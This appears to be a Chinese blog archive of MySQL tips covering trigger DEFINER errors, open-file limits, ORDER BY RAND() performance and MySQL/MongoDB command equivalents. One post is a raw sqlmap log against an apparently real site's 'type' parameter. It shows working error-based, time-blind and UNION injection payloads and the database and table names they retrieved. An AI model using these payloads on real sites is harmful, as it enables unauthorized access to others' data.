存档

‘mysql优化’ 分类的存档

触发器报错The user specified as a definer root@ip does not exist

2018年7月27日 没有评论

如果你的某个表加了触发器TRIGGER,有可能莫名其妙的出现错误提示:
The user specified as a definer root@ip does not exist
这个问题可能是这样的,比如你有A服务器,A服务器的mysql用户中有用户名为root且host地址为:
localhost+127.0.0.1+%+固定ip(比如192.168.1.110),4个用户
你用远程连接连接了mysql,比如本地的ip是192.168.1.110,当你用192.168.1.110连接mysql的时候,创建的触发器TRIGGER(从上面4个用户中固定ip的优先级最高,所以这个时候使用的是root@192.168.1.110)
这个时候,创建触发器之后,会在information_schema库中的TRIGGERS表中DEFINER字段,增加相应记录;
值为:root@192.168.1.110
如果后来你把A服务器的root@192.168.1.110用户删除了,就会提示这个错误。

再比如,你是用其他ip链接mysql,则使用的是root@%这个用户链接,则值为:root@%
同样,你如果删除了root@%,也会出现错误

所以,我建议在创建触发器的时候,直接登录A服务器,用命令行创建触发器,这个时候,就会是:root@localhost
因为我们肯定要保证mysql用户中至少有root@localhost和root@127.0.0.1存在
这样后期添加其他或者删除其他用户,都不会影响触发器的执行,也不会报这个错误了。

另外提醒:登录服务器用命令行创建触发器,默认的时候用英文的分号(;)结束会报错,所以可以类似:

DELIMITER $
触发器语句
END$

这样完整的触发器语句才会被正确的执行,否则会报错
当然如果你用远程连接比如navicat连接,可以不用上面的语句,但是后期可能又会出现刚才的错误提示。
所以还是登陆服务器用命令行创建吧。

比如:

DELIMITER $

CREATE TRIGGER `copy` AFTER INSERT ON `infos` FOR EACH ROW BEGIN

INSERT INTO binfos SELECT * FROM infos WHERE id= NEW.id;

IF NEW.isyp=1 THEN
INSERT INTO cinfos SELECT * FROM infos WHERE id=NEW.id;
END IF;

END$

DELIMITER $
CREATE TRIGGER `update` AFTER UPDATE ON `infos` FOR EACH ROW BEGIN

IF NEW.isyp=1 THEN
DELETE FROM cinfos WHERE id=NEW.id;
INSERT INTO cinfos SELECT * FROM infos WHERE id=NEW.id;
END IF;

IF NEW.isyp=0 THEN
DELETE FROM cinfos Where id=NEW.id;
END IF;

END$

DELIMITER $
CREATE TRIGGER `delete` AFTER DELETE ON `infos` FOR EACH ROW BEGIN

IF OLD.isyp=1 THEN
DELETE FROM cinfos WHERE id=OLD.id;
END IF;

END$

mysql出现too many connections修改优化(靠谱)

2017年8月21日 没有评论

show global variables like ‘open%’
即便你修改了ubuntu的ulimit为65535(ulimit -a查看),当你执行上方命令的时候,mysql仍然会是1024

修改方法:

sudo vim /etc/security/limits.conf
增加:
mysql soft nofile 65535
mysql hard nofile 65535

当然,为了使得nginx等等软件也同样,可以使用:

* soft nofile 65535
* hard nofile 65535

 

cd /etc/systemd/system
sudo mkdir mysql.service.d
sudo vim mysql.service.d/limits.conf

输入:
[Service]
LimitNOFILE=65535
LimitMEMLOCK=65535

修改mysql配置中的max_connections=13000就差不多了(13000*5<65535)

sudo systemctl daemon-reload

sudo systemctl restart mysql

应该就搞定了。参考文档:

https://stackoverflow.com/questions/30901041/can-not-increase-max-open-files-for-mysql-max-connections-in-ubuntu-15
https://unix.stackexchange.com/questions/152186/mysql-max-open-files-more-than-1024
http://blog.csdn.net/heizistudio/article/details/23669167
http://www.cnblogs.com/zhoujinyi/archive/2013/01/31/2883433.html

分类: mysql优化 标签: , , ,

一种mysql注入方式

2016年5月31日 没有评论

某网址地址是:view.php?id=177&type=zxxw

注入如下:

ected
GET parameter ‘type’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 5474 HTTP(s) requests:

Parameter: type (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=177&type=zxxw’ AND (SELECT 5429 FROM(SELECT COUNT(*),CONCAT(0x7170787671,(SELECT (ELT(5429=5429,1))),0x717a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)– TqJA

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=177&type=zxxw’ AND (SELECT * FROM (SELECT(SLEEP(5)))wqUP)– jRzd

Type: UNION query
Title: Generic UNION query (NULL) – 2 columns
Payload: id=177&type=-9914′ UNION ALL SELECT CONCAT(0x7170787671,0x54726c526a56484f564e75526a5459584a4a4f4e71474753627055557842696d4676494850484958,0x717a6b7a71),NULL– zfmK

[15:41:32] [INFO] testing MySQL
[15:41:32] [INFO] confirming MySQL
[15:41:33] [INFO] the back-end DBMS is MySQL
[15:41:33] [INFO] actively fingerprinting MySQL
[15:41:33] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: active fingerprint: MySQL >= 5.1.12 and < 5.5.0
html error message fingerprint: MySQL
[15:41:40] [INFO] fetching database names
[15:41:40] [INFO] the SQL query used returns 2 entries
[15:41:40] [INFO] retrieved: information_schema
[15:41:40] [INFO] retrieved: c211structure
available databases [2]:
[*] c211structure
[*] information_schema

Database: c211structure
[9 tables]
+————+
| ads        |
| banner     |
| cases      |
| dpedithome |
| dpnews     |
| dpnewsEn   |
| edithome   |
| flink      |
| news       |
+————+

分类: mysql优化 标签: , ,

MySQL的Order By Rand()有很严重的效率问题

2016年2月3日 没有评论

MySQL很多时候需要获取随机数据,举个例子,要从tablename表中随机提取一条记录,大家一般的写法就是:
SELECT * FROM tablename ORDER BY RAND() LIMIT 1

但是,后来我查了一下MYSQL的官方手册,里面针对RAND()的提示大概意思就是,在ORDER BY从句里面不能使用RAND()函数,因为这样会导致数据列被多次扫描。但是在MYSQL 3.23版本中,仍然可以通过ORDER BY RAND()来实现随机。

测试一下才发现这样效率非常低。一个15万余条的库,查询5条数据,居然要8秒以上。查看官方手册,也说rand()放在ORDER BY 子句中会被执行多次,自然效率及很低。You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

搜索Google,网上基本上都是查询max(id) * rand()来随机获取数据。
SELECT *
FROM ‘table’ AS t1 JOIN (SELECT ROUND(RAND() * (SELECT MAX(id) FROM ‘table’)) AS id) AS t2
WHERE t1.id >= t2.id
ORDER BY t1.id ASC LIMIT 5;

但是这样会产生连续的5条记录。解决办法只能是每次查询一条,查询5次。即便如此也值得,因为15万条的表,查询只需要0.01秒不到。

下面的语句采用的是JOIN,mysql的论坛上有人使用:
SELECT *
FROM ‘table’
WHERE id >= (SELECT FLOOR( MAX(id) * RAND()) FROM ‘table’ )
ORDER BY id LIMIT 1;

我测试了一下,需要0.5秒,速度也不错,但是跟上面的语句还是有很大差距。总觉有什么地方不正常。

于是我把语句改写了一下。
SELECT * FROM ‘table’
WHERE id >= (SELECT floor(RAND() * (SELECT MAX(id) FROM ‘table’)))
ORDER BY id LIMIT 1;

这下,效率又提高了,查询时间只有0.01秒。

最后,再把语句完善一下,加上MIN(id)的判断。我在最开始测试的时候,就是因为没有加上MIN(id)的判断,结果有一半的时间总是查询到表中的前面几行。

完整查询语句是:
SELECT * FROM ‘table’
WHERE id >= (SELECT floor( RAND() * ((SELECT MAX(id) FROM ‘table’)-(SELECT MIN(id) FROM ‘table’)) + (SELECT MIN(id) FROM ‘table’)))
ORDER BY id LIMIT 1;

SELECT *
FROM ‘table’ AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM ‘table’)-(SELECT MIN(id) FROM ‘table’))+(SELECT MIN(id) FROM ‘table’)) AS id) AS t2
WHERE t1.id >= t2.id
ORDER BY t1.id LIMIT 1;

最后在php中对这两个语句进行分别查询10次,前者花费时间 0.147433 秒,后者花费时间 0.015130 秒。看来采用JOIN的语法比直接在WHERE中使用函数效率还要高很多。

分类: mysql优化 标签: , , ,

MySQL与MongoDB的操作对比

2015年8月5日 没有评论

MySQL与MongoDB都是开源的常用数据库,但是MySQL是传统的关系型数据库,MongoDB则是非关系型数据库,也叫文档型数据库,是一种NoSQL的数据库。它们各有各的优点,关键是看用在什么地方。

以我们公司项目为例,在早期的项目中,都在使用关系型数据库,用过SQLServer,Oracle,DB2,后来全部转向Mysql,原因很简 单:Mysql在性能不错的情况下,有着开源优势。Mysql的事务性与高性能是我们主要考虑的。后来,由于项目要用到用户系统,即会有大量的用户数据进 行交互--海量存储,Mysql的读写速度会有一点瓶颈,于是我们就想到了最近发展很强势的Nosql。在Nosql早期的memcache的发展下,又 出现了很多非关系型数据库,比如redis,mongodb。经过一段时间的测试,redis与mongodb的读写速度确实比Mysql有着很明显的优 势。mongodb的写入速度大约2.5W/次每秒。

mongodb以BSON结构(二进制)进行存储,对海量数据存储有着很明显的优势。下面是Mongodb与Mysql的操作命令的对比。

作用 MySQL MongoDB
服务器守护进程 mysqld mongod
客户端工具 mysql mongo
逻辑备份工具 mysqldump mongodump
逻辑还原工具 mysql mongorestore
数据导出工具 mysqldump mongoexport
数据导入工具 source mongoimport
新建用户并授权 grant all on *.*
to username@’localhost’
identified by ‘passwd’;
db.addUser(“user”,”psw”)
db.auth(“user”,”psw”)
显示库列表 show databases; show dbs
进去库 use dbname; use dbname
显示表列表 show tables; show collections
查询主从状态 show slave status; rs.status
创建库 create database name; 无需单独创建,直接use进去
创建表 create table tname(id int); 无需单独创建,直接插入数据
删除表 drop table tname; db.tname.drop()
删除库 drop database dbname; 首先进去该库,db.dropDatabase()
插入记录 insert into tname(id) value(2); db.tname.insert({id:2})
删除记录 delete from tname where id=2; db.tname.remove({id:2})
修改/更新记录 update tname set id=3
where id=2;
db.tname.update({id:2},
{$set:{id:3}},false,true)
查询所有记录 select * from tname; db.tname.find()
查询所有列 select id from tname; db.tname.find({},{id:1})
条件查询 select * from tname where id=2; db.tname.find({id:2})
条件查询 select * from tname where id < 2; db.tname.find({id:{$lt:2}})
条件查询 select * from tname where id >=2; db.tname.find({id:{$gte:2}})
条件查询 select * from tname where id=2
and name=’steve’;
db.tname.find({id:2,
name:’steve’})
条件查询 select * from tname where id=2
or name=’steve’;
db.tname.find($or:[{id:2},
{name:’steve’}])
条件查询 select * from tname limit 1; db.tname.findOne()
模糊查询 select * from tname where name
like “%ste%”;
db.tname.find({name:/ste/})
模糊查询 select * from tname where name
like “ste%”;
db.tname.find({name:/^ste/})
获取表记录数 select count(id) from tname; db.tname.count()
获取有条件
的记录数
select count(id) from tname
where id=2;
db.tname.find({id:2}).count()
查询时去掉
重复值
select distinct(last_name)
from tname;
db.tname.distinct(‘last_name’)
正排序查询 select *from tname order by id; db.tname.find().sort({id:1})
逆排序查询 select *from tname
order by id desc;
db.tname.find().sort({id:-1})
取存储路径 explain select * from tname
where id=3;
db.tname.find({id=3}).explain()

特别要注意的是:mongodb插入多个字段语法

> db.user.insert({id:1,name:’steve’,sex:’male’})  正确

> db.user.insert({id:2},{name:’bear’},{sex:’female’})  错误

分类: mysql优化 标签: , ,
css.php